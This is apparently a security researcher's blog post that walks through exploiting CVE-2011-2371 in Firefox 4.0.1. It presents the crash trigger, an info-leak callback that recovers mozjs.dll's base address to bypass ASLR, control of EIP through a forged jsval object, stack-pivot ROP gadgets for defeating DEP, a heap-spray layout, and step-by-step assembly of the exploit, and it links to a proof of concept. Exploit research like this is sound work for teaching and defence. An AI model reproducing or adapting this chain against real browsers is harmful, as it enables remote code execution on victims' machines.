CVE-2011-2371 (found by Chris Rohlf and Yan Ivnitskiy) is a bug in Firefox versions <= 4.0.1. It has an interesting property of being a code-exec and an info-leak bug at the same time. Unfortunately, all public exploits targeting this vulnerability rely on non-ASLR modules (like those present in Java).

In this post I’ll show how to exploit this vulnerability on Firefox 4.0.1/Window 7, by leaking imagebase of one of Firefox’s modules, thus circumventing ASLR without any additional dependencies.

The bug

You can see the original bug report with detailed analysis here. To make a long story short, this is the trigger:

xyz = new Array; xyz.length = 0x80100000; a = function foo(prev, current, index, array) { current[0] = 0x41424344; } xyz.reduceRight(a,1,2,3);

Executing it crashes Firefox:

eax=0454f230 ebx=03a63da0 ecx=800fffff edx=01c6f000 esi=0012cd68 edi=0454f208 eip=004f0be1 esp=0012ccd0 ebp=0012cd1c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mozjs!JS_FreeArenaPool+0x15e1: 004f0be1 8b14c8 mov edx,dword ptr [eax+ecx*8] ds:0023:04d4f228=????????

eax holds a pointer to “xyz” array and ecx is equal to xyz.length-1. reduceRight visits all elements of given array in reverse order, so if the read @ 004f0be1 succeeds and we won’t crash inside the callback function (foo), JS interpreter will loop the above code with decreasing values in ecx.

Value read @ 004f0be1 is passed to foo() as the “current” argument. This means we can trick the JS interpreter into passing random stuff from heap to our javascript callback. Notice we fully control the array’s length, and since ecx is multiplied by 8 (bitshifted left by 3 bits), we can access memory before of after the array, by setting/clearing the 29th bit of length. Neat :).

During reduceRight(), the interpreter expects jsval_layout unions:

http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h 274 typedef union jsval_layout 275 { 276 uint64 asBits; 277 struct { 278 union { 279 int32 i32; 280 uint32 u32; 281 JSBool boo; 282 JSString *str; 283 JSObject *obj; 284 void *ptr; 285 JSWhyMagic why; 286 jsuword word; 287 } payload; 288 JSValueTag tag; 289 } s; 290 double asDouble; 291 void *asPtr; 292 } jsval_layout;

To be more specific, we are interested in the “payload” struct. Possible values for “tag” are:

http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h 92 JS_ENUM_HEADER(JSValueType, uint8) 93 { 94 JSVAL_TYPE_DOUBLE = 0x00, 95 JSVAL_TYPE_INT32 = 0x01, 96 JSVAL_TYPE_UNDEFINED = 0x02, 97 JSVAL_TYPE_BOOLEAN = 0x03, 98 JSVAL_TYPE_MAGIC = 0x04, 99 JSVAL_TYPE_STRING = 0x05, 100 JSVAL_TYPE_NULL = 0x06, 101 JSVAL_TYPE_OBJECT = 0x07, ... 119 JS_ENUM_HEADER(JSValueTag, uint32) 120 { 121 JSVAL_TAG_CLEAR = 0xFFFF0000, 122 JSVAL_TAG_INT32 = JSVAL_TAG_CLEAR | JSVAL_TYPE_INT32, 123 JSVAL_TAG_UNDEFINED = JSVAL_TAG_CLEAR | JSVAL_TYPE_UNDEFINED, 124 JSVAL_TAG_STRING = JSVAL_TAG_CLEAR | JSVAL_TYPE_STRING, 125 JSVAL_TAG_BOOLEAN = JSVAL_TAG_CLEAR | JSVAL_TYPE_BOOLEAN, 126 JSVAL_TAG_MAGIC = JSVAL_TAG_CLEAR | JSVAL_TYPE_MAGIC, 127 JSVAL_TAG_NULL = JSVAL_TAG_CLEAR | JSVAL_TYPE_NULL, 128 JSVAL_TAG_OBJECT = JSVAL_TAG_CLEAR | JSVAL_TYPE_OBJECT 129 } JS_ENUM_FOOTER(JSValueTag);

Does it mean we can only read first dwords of pairs (d1,d2), where d2=JSVAL_TAG_INT32 or d2=JSVAL_TYPE_DOUBLE? Fortunately for us, no. Observe how the interpreter checks if a jsval_layout is a number:

http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h 405 static JS_ALWAYS_INLINE JSBool 406 JSVAL_IS_NUMBER_IMPL(jsval_layout l) 407 { 408 JSValueTag tag = l.s.tag; 409 JS_ASSERT(tag != JSVAL_TAG_CLEAR); 410 return (uint32)tag <= (uint32)JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET;

So any pair of dwords (d1, d2), with d2<=JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET (which is equal to JSVAL_TAG_INT32) is interpreted as a number.

This isn’t the end of good news, check how doubles are recognized:

http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h 369 static JS_ALWAYS_INLINE JSBool 370 JSVAL_IS_DOUBLE_IMPL(jsval_layout l) 371 { 372 return (uint32)l.s.tag <= (uint32)JSVAL_TAG_CLEAR; 373 }

This means that any pair (d1,d2) with d2<=0xffff0000 is interpreted as a double-precision floating point number. It’s a clever way of saving space, since doubles with all bits of the exponent set and nonzero mantissa are NaNs anyway, so rejecting doubles greater than 0xffff 0000 0000 0000 0000 isn’t really a problem — we are just throwing out NaNs.

Leaking the image base

Knowing that most of values read off the heap are interpreted as doubles in our javascript callback (function foo above), we can use a library like JSPack to decode them to byte sequences.

var leak_func = function bleh(prev, current, index, array) { if(typeof current == "number"){ mem.push(current); //decode with JSPack later } count += 1; if(count>=CHUNK_SIZE/8){ throw "lol"; //stop dumping } }

Notice that we are verifying the type of “current”. It’s necessary because if we encounter a jsval_value of type OBJECT, manipulating it later will cause an undesired crash.

Having a chunk of memory, we still need to comb it for values revealing the image base of mozjs.dll (that’s the module implementing reduceRight). Good candidates are pointers to functions in .code section, or pointers to data structures in .data, but how to find them? After all, they change with every run, because of varying image base.

By examining dumped memory manually, I noticed it’s always possible to find a pair of pointers (with fixed RVAs) to .data section, differing by a constant (0×304), so a simple algorithm is to sequentially scan pairs of dwords, check if their difference is 0×304 and use their (known) RVAs to calculate mozjs’ image base (image_base = ptr_va – ptr_rva).

It’s a heuristic, but it works 100% of the time .

Taking control

Assume we are able to pass a controlled jsval_layout with tag=JSVAL_TYPE_OBJECT to our JS callback. Here’s what happens after executing “current[0]=1” if the “payload.ptr” field points to an area filled with \x88:

eax=00000001 ebx=00000009 ecx=40000004 edx=00000009 esi=055101b0 edi=88888888 eip=655301a9 esp=0048c2a0 ebp=13801000 iopl=0 ov up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010a06 mozjs!js::mjit::stubs::SetElem$lt;0>+0xf9: 655301a9 8b4764 mov eax,dword ptr [edi+64h] ds:002b:888888ec=???????? 0:000> k ChildEBP RetAddr 0048c308 6543fc4c mozjs!js::mjit::stubs::SetElem<0>+0xf9 [...js\src\methodjit\stubcalls.cpp @ 567] 0048c334 65445d99 mozjs!js::InvokeSessionGuard::invoke+0x13c [...\js\src\jsinterpinlines.h @ 619] 0048c418 65445fa6 mozjs!array_extra+0x3d9 [...\js\src\jsarray.cpp @ 2857] 0048c42c 65485221 mozjs!array_reduceRight+0x16 [...\js\src\jsarray.cpp @ 2932]

We are using \x88 as a filler, so that every pointer taken from that area is equal to 0x88888888. Since the highest bit is set (and the pointer points to kernel space), every dereference will cause a crash and we will notice it under a debugger. Using low values, like 0x0c, as a filler during exploit development can make us miss crashes, if 0x0c0c0c0c happens to be mapped :P.

It seems like we can control the value of edi. Let’s see if it’s of any use:

0:000> u eip l10 mozjs!js::mjit::stubs::SetElem<0>+0xf9 [...\js\src\methodjit\stubcalls.cpp @ 567]: 655301a9 8b4764 mov eax,dword ptr [edi+64h] 655301ac 85c0 test eax,eax 655301ae 7505 jne mozjs!js::mjit::stubs::SetElem<0>+0x105 (655301b5) 655301b0 b830bb4965 mov eax,offset mozjs!js_SetProperty (6549bb30) 655301b5 8b54241c mov edx,dword ptr [esp+1Ch] 655301b9 6a00 push 0 655301bb 8d4c2424 lea ecx,[esp+24h] 655301bf 51 push ecx 655301c0 53 push ebx 655301c1 55 push ebp 655301c2 52 push edx 655301c3 ffd0 call eax 655301c5 83c414 add esp,14h 655301c8 85c0 test eax,eax

That’s exactly what we need — value from [edi+64h] (edi is controlled) is a function pointer called @ 655301c3.

Where does edi value come from?

0:000> u eip-72 l10 mozjs!js::mjit::stubs::SetElem<0>+0x87 [...\js\src\methodjit\stubcalls.cpp @ 552]: 65530137 8b7d04 mov edi,dword ptr [ebp+4] 6553013a 81ffb05f5e65 cmp edi,offset mozjs!js_ArrayClass (655e5fb0) 65530140 8b5c2414 mov ebx,dword ptr [esp+14h] 65530144 7563 jne mozjs!js::mjit::stubs::SetElem<0>+0xf9 (655301a9)

edi=[ebp+4], where ebp is equal to payload.ptr in our jsval_layout union.

It’s now easy to see how to control EIP. Trigger setElem on a controlled jsval_layout union (by executing “current[0]=1” in the JS callback of reduceRight), with tag=JSVAL_TYPE_OBJECT, and ptr=PTR_TO_CONTROLLED_MEM, where [CONTROLLED_MEM+4]=NEW_EIP. Easy ;).

Since ASLR is not an issue (we already have mozjs’ image base) we can circumvent DEP with return oriented programming. With mona.py it’s very easy to generate a ROP chain that will allocate a RWX memory chunk. From that chunk, we can run our “normal” shellcode, without worrying about DEP.

!mona rop -m "mozjs" -rva

“-m” restricts search to just mozjs.dll (that’s the only module with known image base)

“-rva” generates a chain parametrized by module’s image base.

I won’t paste the output, but mona is able to find a chain that uses VirtualAlloc to change memory permissions to RWX.

There’s only one problem. In order to use that chain, we need to control the stack. During the call @ 655301c3, we don’t. Fortunately, we do control EBP, which is equal to layout.ptr field in our fake object. First idea is to use any function’s epilogue:

mov esp, ebp pop ebp ret

as a pivot, but notice that RET will transfer control to an address stored in [ebp+4], and since:

65530137 8b7d04 mov edi,dword ptr [ebp+4]

that would mean [ebp+4] has to be a return address and a pointer to a function pointer called later @ 655301c3.

We have to modify EBP before copying it to ESP. Noticing that during SetElem, property’s id is passed in EBX as 2*id+1 (when executing “current[id] = …”), it’s easy to pick a good gadget:

// 0x68e7a21c, mozjs.dll // found with mona.py ADD EBP,EBX PUSH DS POP EDI POP ESI POP EBX MOV ESP,EBP //(1) POP EBP //(2) RETN

This will offset EBP by a controlled ODD value. Unicode chars in JS have two byte chars, so it’s better to have EBP aligned to 2. We can realign ESP by pivoting again with new EBP value popped @ (2) and executing the same gadget from line (1).

This is how our fake object has to look like:

+------------+ | | 9 13 17 v------------+----------------------------------------------------------------------+ |pivot_va | ptr | 00,new_ebp,mov_esp_ebp,00 | new_ebp2 | ROP ... normal shellcode ... +-----------------------+-----------------------------------------------------------+ 0 4 8 | 18 22 | ^ | | +-------------------+

pivot_va – address of the gadget above

new_ebp – value popped at (2) used to realign the stack to 2

mov_esp_ebp – address of (1)

new_ebp2 – new value of EBP after executing (2) for the second time, not used

ROP – generated ROP chain changing memory perms

normal shellcode – message box shellcode by Skylined

Spraying

Here’s a nice diagram (asciiflow FTW) describing how we are going to arrange (or attempt to arrange) things in memory:

low addresses +---------------------+ +-------+ ptr | 0xffff0007 | ^ | +---------------------| | | | | | | | . | | | | . | | | | . | | | +---------------------| | half1 | +----+ ptr | 0xffff0007 | | | | +---------------------| | | | | . | | | | | . | | | | | . | | | | | | v | | +-----end of half1----+ | | | | ^ | | | | | | | | | | margin of | | | . | | error | | | . | | | | +---------------------+ v +--|---> fake object | | +--^------------------+ | | | . | | | | . | +-----+ | | | | | +---------------------+ high addresses

Our spray will consist of two regions. First one will be filled with jsval_layout unions, with tag=0xffff0007 (JSVAL_TYPE_OBJECT) and ptr pointing to the second region, filled with fake objects described above.

If you run the PoC exploit on Windows XP, this is how (most likely) the heap is going to look like:

Zooming into of the 1MB chunks:

Notice how our payload is aligned to 4KB boundary. This is because of how the spray is implemented: unicode strings are stored in an array. Beginning of the array is used to store metadata, and the actual data starts @ +4KB. It’s also useful to note that older versions of FF have a bug related to rounding allocation sizes and, in effect, allocating too much memory for objects (including strings), so instead of nicely aligned strings in array, we will get strings interleaved with chunks containing NULL bytes (I’ll explain why this isn’t a problem in a sec.).

This is how the fake objects from the second part of spray look like:

Four NOPs at the bottom mark the end of mona’s ROP chain.

Putting it all together

Leak mozjs’ image base, as described above.

Spray the heap with JS, as described above.

Note where the spray starts in memory, across different OSes. Different versions of the exploit should use OS-specific constants for calculating array’s length used in reduceRight().

Calculate the length of the array (xyz in the trigger PoC) so that the first dereference should happen in the middle of first half of the spray. Aiming at the middle gives us the biggest possible margin of error — if the spray’s starting address deviates from expected value by less than size/2, it shouldn’t affect our exploit.

Trigger the bug.

Inside JS callback, trigger SetElem, by executing “current[4]=1”. In case of a JS exception (TypeError: current is undefined), change array’s length and continue. These exceptions are caused by NULL areas between strings. Encountering them isn’t fatal, because the JS interpreter sees them as “undefined” values and throws us a JS exception, instead of crashing ;).

See a nice messagebox, confirming success 😉

Limitations

PoC exploit assumes (like all other public exploits for this bug) that the heap is not polluted by previous allocations. This is a bit unrealistic, because the most common “use-case” is that the victim clicks a link leading to the exploit, meaning the browser is already running and most likely has many tabs already opened. In that situation our spray probably won’t be a continuous chunk of memory, which will lead to problems (crashes).

Assuming that the PoC is the first and only page opened in Firefox, probability of success (running shellcode) depends on how long we need to search for mozjs’ image base. The longer it takes, the more trash gets accumulated on the heap, resulting in more “discontinuities” in the spray region.

Get the PoC here.